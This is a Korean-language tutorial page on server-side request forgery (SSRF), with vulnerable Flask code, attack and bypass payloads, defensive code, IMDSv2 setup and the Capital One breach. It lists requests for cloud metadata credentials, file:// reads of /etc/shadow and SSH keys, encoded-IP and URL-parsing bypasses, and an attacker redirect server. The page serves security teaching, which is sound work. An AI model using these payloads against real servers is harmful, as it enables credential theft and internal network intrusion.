전체 그래프
OWASP Top 10

SSRF

web-securityowaspssrfattack

상위: Web Security

요약

SSRF(Server-Side Request Forgery)는 서버가 사용자 입력을 기반으로 HTTP 요청을 보낼 때, 공격자가 이를 조작하여 내부 시스템에 접근하는 공격입니다. 클라우드 환경(AWS, GCP)에서 메타데이터 탈취에 특히 위험합니다.

공격 원리

정상 흐름:
사용자  [URL 입력]  서버  [외부 URL 요청]  외부 서버

SSRF 공격:
공격자  [내부 URL 입력]  서버  [내부 시스템 접근]  내부 서버/메타데이터

취약한 기능 예시

  • 이미지 URL로 썸네일 생성
  • PDF 생성기 (외부 리소스 로드)
  • 웹훅 URL 설정
  • RSS/피드 구독

취약한 코드

# 취약한 코드
@app.route('/fetch')
def fetch_url():
    url = request.args.get('url')
    response = requests.get(url)  # 사용자 입력을 그대로 사용
    return response.text
공격:
GET /fetch?url=http://169.254.169.254/latest/meta-data/
 AWS 인스턴스 메타데이터 노출

공격 유형

1. 내부 네트워크 스캔

GET /fetch?url=http://192.168.1.1/
GET /fetch?url=http://192.168.1.2/
GET /fetch?url=http://10.0.0.1:22/
 내부 서버  열린 포트 탐색

2. 클라우드 메타데이터 탈취 (가장 위험)

AWS:

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/

GCP:

http://metadata.google.internal/computeMetadata/v1/

Azure:

http://169.254.169.254/metadata/instance

탈취 가능한 정보

// AWS IAM 자격증명
{
  "AccessKeyId": "AKIA...",
  "SecretAccessKey": "wJalrXUt...",
  "Token": "FwoGZXIvYXdzEB...",
  "Expiration": "2024-01-15T12:00:00Z"
}

→ 이 자격증명으로 AWS 리소스 무단 접근 가능

3. 로컬 파일 읽기

GET /fetch?url=file:///etc/passwd
GET /fetch?url=file:///etc/shadow
GET /fetch?url=file:///home/user/.ssh/id_rsa

4. 내부 서비스 접근

# Redis
GET /fetch?url=http://localhost:6379/

# Elasticsearch
GET /fetch?url=http://localhost:9200/_cat/indices

# Kubernetes API
GET /fetch?url=https://kubernetes.default.svc/api/v1/

우회 기법

IP 주소 우회

# localhost 우회
http://127.0.0.1
http://127.0.0.2
http://0.0.0.0
http://localhost
http://[::1]
http://127.1
http://0

# 169.254.169.254 우회
http://169.254.169.254.nip.io
http://0251.0376.0251.0376  (8진수)
http://0xa9fea9fe  (16진수)
http://2852039166  (10진수)

DNS Rebinding

1. 공격자 도메인: attacker.com
2.  번째 DNS 조회: 정상 외부 IP 반환 (검증 통과)
3. TTL 만료   번째 조회: 127.0.0.1 반환
4. 내부 시스템 접근 성공

URL 파싱 우회

http://[email protected]/
http://127.0.0.1#@evil.com
http://127.0.0.1%[email protected]
http://evil.com\@127.0.0.1

리다이렉트 이용

# 공격자 서버
@app.route('/redirect')
def redirect():
    return redirect('http://169.254.169.254/latest/meta-data/')
GET /fetch?url=http://attacker.com/redirect
 서버가 리다이렉트 따라감  메타데이터 접근

방어 방법

1. 화이트리스트 방식

ALLOWED_HOSTS = ['api.trusted.com', 'cdn.trusted.com']

def fetch_url(url):
    parsed = urlparse(url)
    if parsed.hostname not in ALLOWED_HOSTS:
        raise ValueError("허용되지 않은 호스트")
    return requests.get(url)

2. 내부 IP 차단

import ipaddress

def is_internal_ip(ip):
    ip_obj = ipaddress.ip_address(ip)
    return (
        ip_obj.is_private or
        ip_obj.is_loopback or
        ip_obj.is_link_local  # 169.254.x.x
    )

def fetch_url(url):
    parsed = urlparse(url)
    ip = socket.gethostbyname(parsed.hostname)

    if is_internal_ip(ip):
        raise ValueError("내부 IP 접근 차단")

    return requests.get(url)

3. 프로토콜 제한

ALLOWED_SCHEMES = ['http', 'https']

def fetch_url(url):
    parsed = urlparse(url)
    if parsed.scheme not in ALLOWED_SCHEMES:
        raise ValueError("허용되지 않은 프로토콜")

4. DNS Rebinding 방어

import socket

def fetch_url_safe(url):
    parsed = urlparse(url)

    # 1. DNS 조회
    ip = socket.gethostbyname(parsed.hostname)

    # 2. IP 검증
    if is_internal_ip(ip):
        raise ValueError("내부 IP 차단")

    # 3. IP로 직접 요청 (DNS 재조회 방지)
    new_url = url.replace(parsed.hostname, ip)
    return requests.get(new_url, headers={'Host': parsed.hostname})

5. AWS IMDSv2 사용 (필수)

# IMDSv2 강제 설정
aws ec2 modify-instance-metadata-options \
    --instance-id i-1234567890abcdef0 \
    --http-tokens required

IMDSv1 vs IMDSv2:

# IMDSv1 (취약)
curl http://169.254.169.254/latest/meta-data/

# IMDSv2 (안전)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
    -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl http://169.254.169.254/latest/meta-data/ \
    -H "X-aws-ec2-metadata-token: $TOKEN"

SSRF로는 PUT 요청과 커스텀 헤더를 보내기 어려움 → IMDSv2로 방어

6. 네트워크 분리

 서버  외부 요청용 프록시  인터넷
         (내부 네트워크 접근 차단)

실제 사례

Capital One 해킹 (2019)

  • SSRF로 AWS 메타데이터 탈취
  • IAM 자격증명 획득
  • S3 버킷 접근
  • 1억 명 이상 개인정보 유출

테스트 페이로드

# 메타데이터
http://169.254.169.254/latest/meta-data/
http://metadata.google.internal/

# 내부 네트워크
http://127.0.0.1/
http://localhost/
http://192.168.0.1/

# 파일 프로토콜
file:///etc/passwd

# 우회 기법
http://0x7f000001/
http://2130706433/

관련 공격

참고 자료